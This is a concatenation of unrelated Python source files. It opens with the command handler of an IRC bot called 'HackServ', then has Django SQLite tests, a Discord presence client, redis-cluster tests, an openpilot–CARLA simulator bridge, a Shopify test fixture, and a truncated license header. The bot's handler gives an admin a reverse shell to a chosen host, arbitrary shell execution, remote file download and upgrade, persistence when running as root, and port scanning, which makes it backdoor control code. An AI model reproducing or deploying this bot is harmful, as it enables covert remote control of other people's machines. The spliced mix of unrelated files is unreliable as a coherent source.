if name.lower() == adminname.lower() and message.find('.sysinfo') != -1:
# System
time.sleep(1)
sendntc("System: " + format(platform.system()), adminname)
# Node
time.sleep(1)
sendntc("Node: " + format(platform.node()), adminname)
# Release
time.sleep(1)
sendntc("Release: " + format(platform.release()), adminname)
# Version
time.sleep(1)
sendntc("Version: " + format(platform.version()), adminname)
# Architecture
time.sleep(1)
sendntc("Architecture: " + format(platform.architecture()[0]), adminname)
# Machine
time.sleep(1)
sendntc("Machine: " + format(platform.machine()), adminname)
# Respond to '.osversion' command from admin.
if name.lower() == adminname.lower() and message.find('.osversion') != -1:
sendntc("OS Version: " + format(platform.version()), adminname)
# Respond to '.memory' command from admin.
if name.lower() == adminname.lower() and message.find('.memory') != -1:
if platform.system() == 'Linux':
message = "End of Memory Info."
linuxMemory()
else:
message = "Only Linux is currently supported."
sendntc(message, name)
# Respond to '.mining' command from admin.
if name.lower() == adminname.lower() and message.find('.mining') != -1:
target = message.split(' ', 1)[0]
nonExist(target, name)
# Respond to '.proxy' command from admin.
if name.lower() == adminname.lower() and message.find('.proxy') != -1:
target = message.split(' ', 1)[0]
nonExist(target, name)
# Respond to '.persistence' command from admin.
if name.lower() == adminname.lower() and message.find('.persistence') != -1:
if os.getuid() == 'root':
message = "Attempting to create persistence."
persistence()
else:
message = "HackServ does not have 'root' permissions."
sendntc(message, name)
# Respond to '.upgrade [link] [file]' command from admin.
if name.lower() == adminname.lower() and message.find('.upgrade') != -1:
target = message.split(' ', 1)[1]
if target.find(' ') != -1:
message = "Update sucessful!"
uFile = target.split(' ', 1)[1]
target = target.split(' ')[0]
update_thread = threading.Thread(target=update, args=(target, uFile))
update_thread.start()
else:
message = "Could not parse. The command should be in the format of '.update [link] [file]' to work properly."
sendntc(message, adminname)
# Respond to '.dl [file] [link]' command from admin.
if name.lower() == adminname.lower() and message[:5].find('.dl') != -1:
target = message.split(' ', 1)[1]
if target.find(' ') != -1:
message = "File downloaded!"
dlLink = target.split(' ', 1)[1]
dlFile = target.split(' ')[0]
download(dlFile, dlLink)
else:
message = "Could not parse. The command should be in the format of '.dl [file] [link]' to work properly."
# Respond to '.chmd [file] [permissions]' command from admin.
if name.lower() == adminname.lower() and message[:5].find('.chmd') != -1:
target = message.split(' ', 1)[1]
if target.find(' ') != -1:
message = "File permissions changed!"
cmMod = target.split(' ', 1)[1]
cmFile = target.split(' ')[0]
chFileMod(cmFile, cmMod)
else:
message = "Could not parse. The command should be in the format of '.chmd [file] [permissions]' to work properly."
sendntc(message, adminname)
# Respond to '.scan [target] [port(s)]' command from admin.
if name.lower() == adminname.lower() and message[:5].find('.scan') != -1:
target = message.split(' ', 1)[1]
if target.find(' ') != -1:
message = "nmap scan has completed!"
ports = target.split(' ', 1)[1]
target = target.split(' ')[0]
ports = [s.strip() for s in str(ports).split(',')]
for port in ports: # loops through comma seperated list of ports.
nmapScan_thread = threading.Thread(target=nmapScan, args=(target, port))
nmapScan_thread.start()
else:
message = "Could not parse. The command should be in the format of '.scan [targetIP] [comma,seperated,ports]' to work properly."
sendntc(message, adminname)
# Respond to '.rsh [target] [port]' command from admin.
if name.lower() == adminname.lower() and message[:5].find('.rsh') != -1:
if enableshell: # If enableshell is True, you can use this command.
target = message.split(' ', 1)[1]
if target.find(' ') != -1:
port = target.split(' ', 1)[1]
target = target.split(' ')[0]
message = "[+] Reverse shell connection established with " + target + ":" + port + "!"
rshell_thread = threading.Thread(target=rShell, args=(target,port))
rshell_thread.start()
else:
message = "Could not parse. The command should be in the format of '.rshell [target] [port]' to work properly."
sendntc(message, adminname)
else:
sendntc("Shell commands are disabled!", adminname)
# Respond to '.fsdl [target] [port]' command from admin.
if name.lower() == adminname.lower() and message[:5].find('.fsdl') != -1:
fileServer()
# Respond to '.ls' command from admin.
if name.lower() == adminname.lower() and message[:5].find('.ls') != -1:
target = message.split(' ', 1)[1]
fileList(target)
# Respond to '.cmd [shell command]' command from admin.
if name.lower() == adminname.lower() and message[:5].find('.cmd') != -1:
if enableshell: # If enableshell is True, you can use this command.
if message.split(' ', 1)[1] != -1:
shellcmd = message.split(' ', 1)[1]
message = "Shell> " + shellcmd
runcmd_thread = threading.Thread(target=runcmd, args=(shellcmd,))
runcmd_thread.start()
else:
message = "Could not parse. The command should be in the format of '.cmd [shell command]' to work properly."
sendntc(message, adminname)
else:
sendntc("Shell commands are disabled!", adminname)
# Respond to '.cno [shell command]' command from admin.
if name.lower() == adminname.lower() and message[:5].find('.cno') != -1:
if enableshell: # If enableshell is True, you can use this command.
if message.split(' ', 1)[1] != -1:
shellcmd = message.split(' ', 1)[1]
message = "Shell> " + shellcmd
runcmd_noout_thread = threading.Thread(target=runcmd_noout, args=(shellcmd,))
runcmd_noout_thread.start()
else:
message = "Could not parse. The command should be in the format of '.cno [shell command]' to work properly."
sendntc(message, adminname)
else:
sendntc("Shell commands are disabled!", adminname)
# Respond to 'exitcode botnick' from admin.
if name.lower() == adminname.lower() and message.rstrip() == exitcode + " " + botnick:
sendmsg("Okay, Bye!")
ircsend("QUIT Killed by " + adminname)
sys.exit()
else:
if ircmsg.find("PING") != -1: # Reply to PINGs.
nospoof = ircmsg.split(' ', 1)[1] # Unrealircd 'nospoof' compatibility.
ircsend("PONG " + nospoof)
if debugmode: # If debugmode is True, msgs will print to screen.
print("Replying with '"+ nospoof +"'")
lastping = time.time() # Set time of last PING.
if (time.time() - lastping) >= threshold: # If last PING was longer than set threshold, try and reconnect.
if debugmode: # If debugmode is True, msgs will print to screen.
print('PING time exceeded threshold')
connected = False
reconnect()
if not ircmsg: # If no response from server, try and reconnect.
if debugmode: # If debugmode is True, msgs will print to screen.
print('Disconnected from server')
connected = False
reconnect()
try: # Here is where we actually start the Bot.
if not connected:
if os.path.isfile('./hsConfig.py'): # Check if the config file exists.
if debugmode: # If debugmode is True, msgs will print to screen.
print("hsConfig.py found. Starting HackServ...")
#fileList() # Get list of files in current directory.
connect() # Connect to server.
else:
if debugmode: # If debugmode is True, msgs will print to screen.
print("hsConfig.py does not exist. Exiting...")
sys.exit()
except KeyboardInterrupt: # Kill Bot from CLI using CTRL+C
ircsend("QUIT Terminated Bot using [ctrl + c]")
if debugmode: # If debugmode is True, msgs will print to screen.
print('... Terminated Bot using [ctrl + c], Shutting down!')
sys.exit()
|
tests.py
|
import re
import threading
import unittest
from djmodels.db import connection
from djmodels.db.models import Avg, StdDev, Sum, Variance
from djmodels.db.models.fields import CharField
from djmodels.db.utils import NotSupportedError
from djmodels.test import TestCase, TransactionTestCase, override_settings
from djmodels.test.utils import isolate_apps
from ..models import Author, Item, Object, Square
@unittest.skipUnless(connection.vendor == 'sqlite', 'SQLite tests')
class Tests(TestCase):
longMessage = True
def test_autoincrement(self):
"""
auto_increment fields are created with the AUTOINCREMENT keyword
in order to be monotonically increasing (#10164).
"""
with connection.schema_editor(collect_sql=True) as editor:
editor.create_model(Square)
statements = editor.collected_sql
match = re.search('"id" ([^,]+),', statements[0])
self.assertIsNotNone(match)
self.assertEqual(
'integer NOT NULL PRIMARY KEY AUTOINCREMENT',
match.group(1),
'Wrong SQL used to create an auto-increment column on SQLite'
)
def test_aggregation(self):
"""
Raise NotImplementedError when aggregating on date/time fields (#19360).
"""
for aggregate in (Sum, Avg, Variance, StdDev):
with self.assertRaises(NotSupportedError):
Item.objects.all().aggregate(aggregate('time'))
with self.assertRaises(NotSupportedError):
Item.objects.all().aggregate(aggregate('date'))
with self.assertRaises(NotSupportedError):
Item.objects.all().aggregate(aggregate('last_modified'))
with self.assertRaises(NotSupportedError):
Item.objects.all().aggregate(
**{'complex': aggregate('last_modified') + aggregate('last_modified')}
)
def test_memory_db_test_name(self):
"""A named in-memory db should be allowed where supported."""
from djmodels.db.backends.sqlite3.base import DatabaseWrapper
settings_dict = {
'TEST': {
'NAME': 'file:memorydb_test?mode=memory&cache=shared',
}
}
creation = DatabaseWrapper(settings_dict).creation
self.assertEqual(creation._get_test_db_name(), creation.connection.settings_dict['TEST']['NAME'])
@unittest.skipUnless(connection.vendor == 'sqlite', 'SQLite tests')
@isolate_apps('backends')
class SchemaTests(TransactionTestCase):
available_apps = ['backends']
def test_field_rename_inside_atomic_block(self):
"""
NotImplementedError is raised when a model field rename is attempted
inside an atomic block.
"""
new_field = CharField(max_length=255, unique=True)
new_field.set_attributes_from_name('renamed')
msg = (
"Renaming the 'backends_author'.'name' column while in a "
"transaction is not supported on SQLite because it would break "
"referential integrity. Try adding `atomic = False` to the "
"Migration class."
)
with self.assertRaisesMessage(NotSupportedError, msg):
with connection.schema_editor(atomic=True) as editor:
editor.alter_field(Author, Author._meta.get_field('name'), new_field)
def test_table_rename_inside_atomic_block(self):
"""
NotImplementedError is raised when a table rename is attempted inside
an atomic block.
"""
msg = (
"Renaming the 'backends_author' table while in a transaction is "
"not supported on SQLite because it would break referential "
"integrity. Try adding `atomic = False` to the Migration class."
)
with self.assertRaisesMessage(NotSupportedError, msg):
with connection.schema_editor(atomic=True) as editor:
editor.alter_db_table(Author, "backends_author", "renamed_table")
@unittest.skipUnless(connection.vendor == 'sqlite', 'Test only for SQLite')
@override_settings(DEBUG=True)
class LastExecutedQueryTest(TestCase):
def test_no_interpolation(self):
# This shouldn't raise an exception (#17158)
query = "SELECT strftime('%Y', 'now');"
connection.cursor().execute(query)
self.assertEqual(connection.queries[-1]['sql'], query)
def test_parameter_quoting(self):
# The implementation of last_executed_queries isn't optimal. It's
# worth testing that parameters are quoted (#14091).
query = "SELECT %s"
params = ["\"'\\"]
connection.cursor().execute(query, params)
# Note that the single quote is repeated
substituted = "SELECT '\"''\\'"
self.assertEqual(connection.queries[-1]['sql'], substituted)
def test_large_number_of_parameters(self):
# If SQLITE_MAX_VARIABLE_NUMBER (default = 999) has been changed to be
# greater than SQLITE_MAX_COLUMN (default = 2000), last_executed_query
# can hit the SQLITE_MAX_COLUMN limit (#26063).
with connection.cursor() as cursor:
sql = "SELECT MAX(%s)" % ", ".join(["%s"] * 2001)
params = list(range(2001))
# This should not raise an exception.
cursor.db.ops.last_executed_query(cursor.cursor, sql, params)
@unittest.skipUnless(connection.vendor == 'sqlite', 'SQLite tests')
class EscapingChecks(TestCase):
"""
All tests in this test case are also run with settings.DEBUG=True in
EscapingChecksDebug test case, to also test CursorDebugWrapper.
"""
def test_parameter_escaping(self):
# '%s' escaping support for sqlite3 (#13648).
with connection.cursor() as cursor:
cursor.execute("select strftime('%s', date('now'))")
response = cursor.fetchall()[0][0]
# response should be an non-zero integer
self.assertTrue(int(response))
@unittest.skipUnless(connection.vendor == 'sqlite', 'SQLite tests')
@override_settings(DEBUG=True)
class EscapingChecksDebug(EscapingChecks):
pass
@unittest.skipUnless(connection.vendor == 'sqlite', 'SQLite tests')
class ThreadSharing(TransactionTestCase):
available_apps = ['backends']
def test_database_sharing_in_threads(self):
def create_object():
Object.objects.create()
create_object()
thread = threading.Thread(target=create_object)
thread.start()
thread.join()
self.assertEqual(Object.objects.count(), 2)
|
main.py
|
import socket
import threading
import json
import discordpresence
HEADER = 64
PORT = 5050
FORMAT = 'utf-8'
DISCONNECT_MESSAGE = "!DISCONNECT"
SERVER = "" #Host IP example 192.168.0.22
ADDR = (SERVER, PORT)
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(ADDR)
presence = discordpresence.DiscordIpcClient.for_platform('544620244014989312')
def listen_for_message(cc):
while True:
data = cc.recv(1024).decode('utf-8').replace("'", '"')
if not data:
break
try:
data_json = json.loads(data)
presence.set_activity(data_json)
print(data_json)
except:
pass
def send(msg):
client.send(msg.encode(FORMAT))
thread = threading.Thread(target=listen_for_message,args=(client,))
thread.start()
input()
send(DISCONNECT_MESSAGE)
|
test_multiprocessing_cluster.py
|
import pytest
import multiprocessing
import contextlib
import rediscluster
from rediscluster.connection import ClusterConnection, ClusterConnectionPool
from redis.exceptions import ConnectionError
from .conftest import _get_client
@contextlib.contextmanager
def exit_callback(callback, *args):
try:
yield
finally:
callback(*args)
class TestMultiprocessing(object):
"""
Cluster: tests must use the cluster specific connection class and client class
to make tests valid for a cluster case.
"""
# Test connection sharing between forks.
# See issue #1085 for details.
# use a multi-connection client as that's the only type that is
# actuall fork/process-safe
@pytest.fixture()
def r(self, request):
return _get_client(
rediscluster.RedisCluster,
request=request,
single_connection_client=False)
def test_close_connection_in_child(self):
"""
A connection owned by a parent and closed by a child doesn't
destroy the file descriptors so a parent can still use it.
"""
conn = ClusterConnection(port=7000)
conn.send_command('ping')
assert conn.read_response() == b'PONG'
def target(conn):
conn.send_command('ping')
assert conn.read_response() == b'PONG'
conn.disconnect()
proc = multiprocessing.Process(target=target, args=(conn,))
proc.start()
proc.join(3)
assert proc.exitcode == 0
# The connection was created in the parent but disconnected in the
# child. The child called socket.close() but did not call
# socket.shutdown() because it wasn't the "owning" process.
# Therefore the connection still works in the parent.
conn.send_command('ping')
assert conn.read_response() == b'PONG'
def test_close_connection_in_parent(self):
"""
A connection owned by a parent is unusable by a child if the parent
(the owning process) closes the connection.
"""
conn = ClusterConnection(port=7000)
conn.send_command('ping')
assert conn.read_response() == b'PONG'
def target(conn, ev):
ev.wait()
# the parent closed the connection. because it also created the
# connection, the connection is shutdown and the child
# cannot use it.
with pytest.raises(ConnectionError):
conn.send_command('ping')
ev = multiprocessing.Event()
proc = multiprocessing.Process(target=target, args=(conn, ev))
proc.start()
conn.disconnect()
ev.set()
proc.join(3)
assert proc.exitcode == 0
@pytest.mark.parametrize('max_connections', [1, 2, None])
def test_pool(self, max_connections):
"""
A child will create its own connections when using a pool created
by a parent.
"""
pool = ClusterConnectionPool.from_url('redis://localhost:7000',
max_connections=max_connections)
conn = pool.get_random_connection()
main_conn_pid = conn.pid
with exit_callback(pool.release, conn):
conn.send_command('ping')
assert conn.read_response() == b'PONG'
def target(pool):
with exit_callback(pool.disconnect):
conn = pool.get_random_connection()
assert conn.pid != main_conn_pid
with exit_callback(pool.release, conn):
assert conn.send_command('ping') is None
assert conn.read_response() == b'PONG'
proc = multiprocessing.Process(target=target, args=(pool,))
proc.start()
proc.join(3)
assert proc.exitcode == 0
# Check that connection is still alive after fork process has exited
# and disconnected the connections in its pool
with exit_callback(pool.release, conn):
assert conn.send_command('ping') is None
assert conn.read_response() == b'PONG'
@pytest.mark.parametrize('max_connections', [1, 2, None])
def test_close_pool_in_main(self, max_connections):
"""
A child process that uses the same pool as its parent isn't affected
when the parent disconnects all connections within the pool.
"""
pool = ClusterConnectionPool.from_url('redis://localhost:7000',
max_connections=max_connections)
conn = pool.get_random_connection()
assert conn.send_command('ping') is None
assert conn.read_response() == b'PONG'
def target(pool, disconnect_event):
conn = pool.get_random_connection()
with exit_callback(pool.release, conn):
assert conn.send_command('ping') is None
assert conn.read_response() == b'PONG'
disconnect_event.wait()
assert conn.send_command('ping') is None
assert conn.read_response() == b'PONG'
ev = multiprocessing.Event()
proc = multiprocessing.Process(target=target, args=(pool, ev))
proc.start()
pool.disconnect()
ev.set()
proc.join(3)
assert proc.exitcode == 0
|
bridge.py
|
#!/usr/bin/env python3
import argparse
import math
import threading
import time
import os
from multiprocessing import Process, Queue
from typing import Any
import carla # pylint: disable=import-error
import numpy as np
import pyopencl as cl
import pyopencl.array as cl_array
from lib.can import can_function
import cereal.messaging as messaging
from cereal import log
from cereal.visionipc.visionipc_pyx import VisionIpcServer, VisionStreamType # pylint: disable=no-name-in-module, import-error
from common.basedir import BASEDIR
from common.numpy_fast import clip
from common.params import Params
from common.realtime import DT_DMON, Ratekeeper
from selfdrive.car.honda.values import CruiseButtons
from selfdrive.test.helpers import set_params_enabled
parser = argparse.ArgumentParser(description='Bridge between CARLA and openpilot.')
parser.add_argument('--joystick', action='store_true')
parser.add_argument('--low_quality', action='store_true')
parser.add_argument('--town', type=str, default='Town04_Opt')
parser.add_argument('--spawn_point', dest='num_selected_spawn_point', type=int, default=16)
args = parser.parse_args()
W, H = 1928, 1208
REPEAT_COUNTER = 5
PRINT_DECIMATION = 100
STEER_RATIO = 15.
pm = messaging.PubMaster(['roadCameraState', 'sensorEvents', 'can', "gpsLocationExternal"])
sm = messaging.SubMaster(['carControl', 'controlsState'])
class VehicleState:
def __init__(self):
self.speed = 0
self.angle = 0
self.bearing_deg = 0.0
self.vel = carla.Vector3D()
self.cruise_button = 0
self.is_engaged = False
def steer_rate_limit(old, new):
# Rate limiting to 0.5 degrees per step
limit = 0.5
if new > old + limit:
return old + limit
elif new < old - limit:
return old - limit
else:
return new
class Camerad:
def __init__(self):
self.frame_id = 0
self.vipc_server = VisionIpcServer("camerad")
# TODO: remove RGB buffers once the last RGB vipc subscriber is removed
self.vipc_server.create_buffers(VisionStreamType.VISION_STREAM_RGB_BACK, 4, True, W, H)
self.vipc_server.create_buffers(VisionStreamType.VISION_STREAM_ROAD, 40, False, W, H)
self.vipc_server.start_listener()
# set up for pyopencl rgb to yuv conversion
self.ctx = cl.create_some_context()
self.queue = cl.CommandQueue(self.ctx)
cl_arg = f" -DHEIGHT={H} -DWIDTH={W} -DRGB_STRIDE={W*3} -DUV_WIDTH={W // 2} -DUV_HEIGHT={H // 2} -DRGB_SIZE={W * H} -DCL_DEBUG "
# TODO: move rgb_to_yuv.cl to local dir once the frame stream camera is removed
kernel_fn = os.path.join(BASEDIR, "selfdrive", "camerad", "transforms", "rgb_to_yuv.cl")
prg = cl.Program(self.ctx, open(kernel_fn).read()).build(cl_arg)
self.krnl = prg.rgb_to_yuv
self.Wdiv4 = W // 4 if (W % 4 == 0) else (W + (4 - W % 4)) // 4
self.Hdiv4 = H // 4 if (H % 4 == 0) else (H + (4 - H % 4)) // 4
def cam_callback(self, image):
img = np.frombuffer(image.raw_data, dtype=np.dtype("uint8"))
img = np.reshape(img, (H, W, 4))
img = img[:, :, [0, 1, 2]].copy()
# convert RGB frame to YUV
rgb = np.reshape(img, (H, W * 3))
rgb_cl = cl_array.to_device(self.queue, rgb)
yuv_cl = cl_array.empty_like(rgb_cl)
self.krnl(self.queue, (np.int32(self.Wdiv4), np.int32(self.Hdiv4)), None, rgb_cl.data, yuv_cl.data).wait()
yuv = np.resize(yuv_cl.get(), np.int32((rgb.size / 2)))
eof = self.frame_id * 0.05
# TODO: remove RGB send once the last RGB vipc subscriber is removed
self.vipc_server.send(VisionStreamType.VISION_STREAM_RGB_BACK, img.tobytes(), self.frame_id, eof, eof)
self.vipc_server.send(VisionStreamType.VISION_STREAM_ROAD, yuv.data.tobytes(), self.frame_id, eof, eof)
dat = messaging.new_message('roadCameraState')
dat.roadCameraState = {
"frameId": image.frame,
"transform": [1.0, 0.0, 0.0,
0.0, 1.0, 0.0,
0.0, 0.0, 1.0]
}
pm.send('roadCameraState', dat)
self.frame_id += 1
def imu_callback(imu, vehicle_state):
vehicle_state.bearing_deg = math.degrees(imu.compass)
dat = messaging.new_message('sensorEvents', 2)
dat.sensorEvents[0].sensor = 4
dat.sensorEvents[0].type = 0x10
dat.sensorEvents[0].init('acceleration')
dat.sensorEvents[0].acceleration.v = [imu.accelerometer.x, imu.accelerometer.y, imu.accelerometer.z]
# copied these numbers from locationd
dat.sensorEvents[1].sensor = 5
dat.sensorEvents[1].type = 0x10
dat.sensorEvents[1].init('gyroUncalibrated')
dat.sensorEvents[1].gyroUncalibrated.v = [imu.gyroscope.x, imu.gyroscope.y, imu.gyroscope.z]
pm.send('sensorEvents', dat)
def panda_state_function(exit_event: threading.Event):
pm = messaging.PubMaster(['pandaStates'])
while not exit_event.is_set():
dat = messaging.new_message('pandaStates', 1)
dat.valid = True
dat.pandaStates[0] = {
'ignitionLine': True,
'pandaType': "blackPanda",
'controlsAllowed': True,
'safetyModel': 'hondaNidec'
}
pm.send('pandaStates', dat)
time.sleep(0.5)
def peripheral_state_function(exit_event: threading.Event):
pm = messaging.PubMaster(['peripheralState'])
while not exit_event.is_set():
dat = messaging.new_message('peripheralState')
dat.valid = True
# fake peripheral state data
dat.peripheralState = {
'pandaType': log.PandaState.PandaType.blackPanda,
'voltage': 12000,
'current': 5678,
'fanSpeedRpm': 1000
}
pm.send('peripheralState', dat)
time.sleep(0.5)
def gps_callback(gps, vehicle_state):
dat = messaging.new_message('gpsLocationExternal')
# transform vel from carla to NED
# north is -Y in CARLA
velNED = [
-vehicle_state.vel.y, # north/south component of NED is negative when moving south
vehicle_state.vel.x, # positive when moving east, which is x in carla
vehicle_state.vel.z,
]
dat.gpsLocationExternal = {
"timestamp": int(time.time() * 1000),
"flags": 1, # valid fix
"accuracy": 1.0,
"verticalAccuracy": 1.0,
"speedAccuracy": 0.1,
"bearingAccuracyDeg": 0.1,
"vNED": velNED,
"bearingDeg": vehicle_state.bearing_deg,
"latitude": gps.latitude,
"longitude": gps.longitude,
"altitude": gps.altitude,
"speed": vehicle_state.speed,
"source": log.GpsLocationData.SensorSource.ublox,
}
pm.send('gpsLocationExternal', dat)
def fake_driver_monitoring(exit_event: threading.Event):
pm = messaging.PubMaster(['driverState', 'driverMonitoringState'])
while not exit_event.is_set():
# dmonitoringmodeld output
dat = messaging.new_message('driverState')
dat.driverState.faceProb = 1.0
pm.send('driverState', dat)
# dmonitoringd output
dat = messaging.new_message('driverMonitoringState')
dat.driverMonitoringState = {
"faceDetected": True,
"isDistracted": False,
"awarenessStatus": 1.,
}
pm.send('driverMonitoringState', dat)
time.sleep(DT_DMON)
def can_function_runner(vs: VehicleState, exit_event: threading.Event):
i = 0
while not exit_event.is_set():
can_function(pm, vs.speed, vs.angle, i, vs.cruise_button, vs.is_engaged)
time.sleep(0.01)
i += 1
def bridge(q):
# setup CARLA
client = carla.Client("127.0.0.1", 2000)
client.set_timeout(10.0)
world = client.load_world(args.town)
settings = world.get_settings()
settings.synchronous_mode = True # Enables synchronous mode
settings.fixed_delta_seconds = 0.05
world.apply_settings(settings)
world.set_weather(carla.WeatherParameters.ClearSunset)
if args.low_quality:
world.unload_map_layer(carla.MapLayer.Foliage)
world.unload_map_layer(carla.MapLayer.Buildings)
world.unload_map_layer(carla.MapLayer.ParkedVehicles)
world.unload_map_layer(carla.MapLayer.Props)
world.unload_map_layer(carla.MapLayer.StreetLights)
world.unload_map_layer(carla.MapLayer.Particles)
blueprint_library = world.get_blueprint_library()
world_map = world.get_map()
vehicle_bp = blueprint_library.filter('vehicle.tesla.*')[1]
spawn_points = world_map.get_spawn_points()
assert len(spawn_points) > args.num_selected_spawn_point, \
f'''No spawn point {args.num_selected_spawn_point}, try a value between 0 and
{len(spawn_points)} for this town.'''
spawn_point = spawn_points[args.num_selected_spawn_point]
vehicle = world.spawn_actor(vehicle_bp, spawn_point)
max_steer_angle = vehicle.get_physics_control().wheels[0].max_steer_angle
# make tires less slippery
# wheel_control = carla.WheelPhysicsControl(tire_friction=5)
physics_control = vehicle.get_physics_control()
physics_control.mass = 2326
# physics_control.wheels = [wheel_control]*4
physics_control.torque_curve = [[20.0, 500.0], [5000.0, 500.0]]
physics_control.gear_switch_time = 0.0
vehicle.apply_physics_control(physics_control)
blueprint = blueprint_library.find('sensor.camera.rgb')
blueprint.set_attribute('image_size_x', str(W))
blueprint.set_attribute('image_size_y', str(H))
blueprint.set_attribute('fov', '40')
blueprint.set_attribute('sensor_tick', '0.05')
transform = carla.Transform(carla.Location(x=0.8, z=1.13))
camera = world.spawn_actor(blueprint, transform, attach_to=vehicle)
camerad = Camerad()
camera.listen(camerad.cam_callback)
vehicle_state = VehicleState()
# reenable IMU
imu_bp = blueprint_library.find('sensor.other.imu')
imu = world.spawn_actor(imu_bp, transform, attach_to=vehicle)
imu.listen(lambda imu: imu_callback(imu, vehicle_state))
gps_bp = blueprint_library.find('sensor.other.gnss')
gps = world.spawn_actor(gps_bp, transform, attach_to=vehicle)
gps.listen(lambda gps: gps_callback(gps, vehicle_state))
# launch fake car threads
threads = []
exit_event = threading.Event()
threads.append(threading.Thread(target=panda_state_function, args=(exit_event,)))
threads.append(threading.Thread(target=peripheral_state_function, args=(exit_event,)))
threads.append(threading.Thread(target=fake_driver_monitoring, args=(exit_event,)))
threads.append(threading.Thread(target=can_function_runner, args=(vehicle_state, exit_event,)))
for t in threads:
t.start()
# can loop
rk = Ratekeeper(100, print_delay_threshold=0.05)
# init
throttle_ease_out_counter = REPEAT_COUNTER
brake_ease_out_counter = REPEAT_COUNTER
steer_ease_out_counter = REPEAT_COUNTER
vc = carla.VehicleControl(throttle=0, steer=0, brake=0, reverse=False)
is_openpilot_engaged = False
throttle_out = steer_out = brake_out = 0
throttle_op = steer_op = brake_op = 0
throttle_manual = steer_manual = brake_manual = 0
old_steer = old_brake = old_throttle = 0
throttle_manual_multiplier = 0.7 # keyboard signal is always 1
brake_manual_multiplier = 0.7 # keyboard signal is always 1
steer_manual_multiplier = 45 * STEER_RATIO # keyboard signal is always 1
while True:
# 1. Read the throttle, steer and brake from op or manual controls
# 2. Set instructions in Carla
# 3. Send current carstate to op via can
cruise_button = 0
throttle_out = steer_out = brake_out = 0.0
throttle_op = steer_op = brake_op = 0
throttle_manual = steer_manual = brake_manual = 0.0
# --------------Step 1-------------------------------
if not q.empty():
message = q.get()
m = message.split('_')
if m[0] == "steer":
steer_manual = float(m[1])
is_openpilot_engaged = False
elif m[0] == "throttle":
throttle_manual = float(m[1])
is_openpilot_engaged = False
elif m[0] == "brake":
brake_manual = float(m[1])
is_openpilot_engaged = False
elif m[0] == "reverse":
cruise_button = CruiseButtons.CANCEL
is_openpilot_engaged = False
elif m[0] == "cruise":
if m[1] == "down":
cruise_button = CruiseButtons.DECEL_SET
is_openpilot_engaged = True
elif m[1] == "up":
cruise_button = CruiseButtons.RES_ACCEL
is_openpilot_engaged = True
elif m[1] == "cancel":
cruise_button = CruiseButtons.CANCEL
is_openpilot_engaged = False
elif m[0] == "quit":
break
throttle_out = throttle_manual * throttle_manual_multiplier
steer_out = steer_manual * steer_manual_multiplier
brake_out = brake_manual * brake_manual_multiplier
old_steer = steer_out
old_throttle = throttle_out
old_brake = brake_out
if is_openpilot_engaged:
sm.update(0)
# TODO gas and brake is deprecated
throttle_op = clip(sm['carControl'].actuators.accel / 1.6, 0.0, 1.0)
brake_op = clip(-sm['carControl'].actuators.accel / 4.0, 0.0, 1.0)
steer_op = sm['carControl'].actuators.steeringAngleDeg
throttle_out = throttle_op
steer_out = steer_op
brake_out = brake_op
steer_out = steer_rate_limit(old_steer, steer_out)
old_steer = steer_out
else:
if throttle_out == 0 and old_throttle > 0:
if throttle_ease_out_counter > 0:
throttle_out = old_throttle
throttle_ease_out_counter += -1
else:
throttle_ease_out_counter = REPEAT_COUNTER
old_throttle = 0
if brake_out == 0 and old_brake > 0:
if brake_ease_out_counter > 0:
brake_out = old_brake
brake_ease_out_counter += -1
else:
brake_ease_out_counter = REPEAT_COUNTER
old_brake = 0
if steer_out == 0 and old_steer != 0:
if steer_ease_out_counter > 0:
steer_out = old_steer
steer_ease_out_counter += -1
else:
steer_ease_out_counter = REPEAT_COUNTER
old_steer = 0
# --------------Step 2-------------------------------
steer_carla = steer_out / (max_steer_angle * STEER_RATIO * -1)
steer_carla = np.clip(steer_carla, -1, 1)
steer_out = steer_carla * (max_steer_angle * STEER_RATIO * -1)
old_steer = steer_carla * (max_steer_angle * STEER_RATIO * -1)
vc.throttle = throttle_out / 0.6
vc.steer = steer_carla
vc.brake = brake_out
vehicle.apply_control(vc)
# --------------Step 3-------------------------------
vel = vehicle.get_velocity()
speed = math.sqrt(vel.x**2 + vel.y**2 + vel.z**2) # in m/s
vehicle_state.speed = speed
vehicle_state.vel = vel
vehicle_state.angle = steer_out
vehicle_state.cruise_button = cruise_button
vehicle_state.is_engaged = is_openpilot_engaged
if rk.frame % PRINT_DECIMATION == 0:
print("frame: ", "engaged:", is_openpilot_engaged, "; throttle: ", round(vc.throttle, 3), "; steer(c/deg): ", round(vc.steer, 3), round(steer_out, 3), "; brake: ", round(vc.brake, 3))
if rk.frame % 5 == 0:
world.tick()
rk.keep_time()
# Clean up resources in the opposite order they were created.
exit_event.set()
for t in reversed(threads):
t.join()
gps.destroy()
imu.destroy()
camera.destroy()
vehicle.destroy()
def bridge_keep_alive(q: Any):
while 1:
try:
bridge(q)
break
except RuntimeError:
print("Restarting bridge...")
if __name__ == "__main__":
# make sure params are in a good state
set_params_enabled()
msg = messaging.new_message('liveCalibration')
msg.liveCalibration.validBlocks = 20
msg.liveCalibration.rpyCalib = [0.0, 0.0, 0.0]
Params().put("CalibrationParams", msg.to_bytes())
q: Any = Queue()
p = Process(target=bridge_keep_alive, args=(q,), daemon=True)
p.start()
if args.joystick:
# start input poll for joystick
from lib.manual_ctrl import wheel_poll_thread
wheel_poll_thread(q)
p.join()
else:
# start input poll for keyboard
from lib.keyboard_ctrl import keyboard_poll_thread
keyboard_poll_thread(q)
|
conftest.py
|
import pytest
import os
from http import HTTPStatus
from multiprocessing import Process
from wsgiref.simple_server import make_server
from basic_shopify_api.constants import RETRY_HEADER
def local_server_app(environ, start_response):
method = environ["REQUEST_METHOD"].lower()
path = environ["PATH_INFO"].split("/")[-1]
status = environ.get("HTTP_X_TEST_STATUS", f"{HTTPStatus.OK.value} {HTTPStatus.OK.description}")
headers = [("Content-Type", "application/json")]
fixture = environ.get("HTTP_X_TEST_FIXTURE", f"{method}_{path}")
if "HTTP_X_TEST_RETRY" in environ:
headers.append((RETRY_HEADER, environ["HTTP_X_TEST_RETRY"]))
with open(os.path.dirname(__file__) + f"/fixtures/{fixture}") as fixture:
data = fixture.read().encode("utf-8")
start_response(status, headers)
return [data]
@pytest.fixture
def local_server():
httpd = make_server("localhost", 8080, local_server_app)
process = Process(target=httpd.serve_forever, daemon=True)
process.start()
yield
process.terminate()
process.join()
|
odom_smoother.py
|
# Copyright 2021 Andreas Steck (steck.andi@gmail.com)
#
# Licensed under the Apache License, Version 2.0 (the "License");
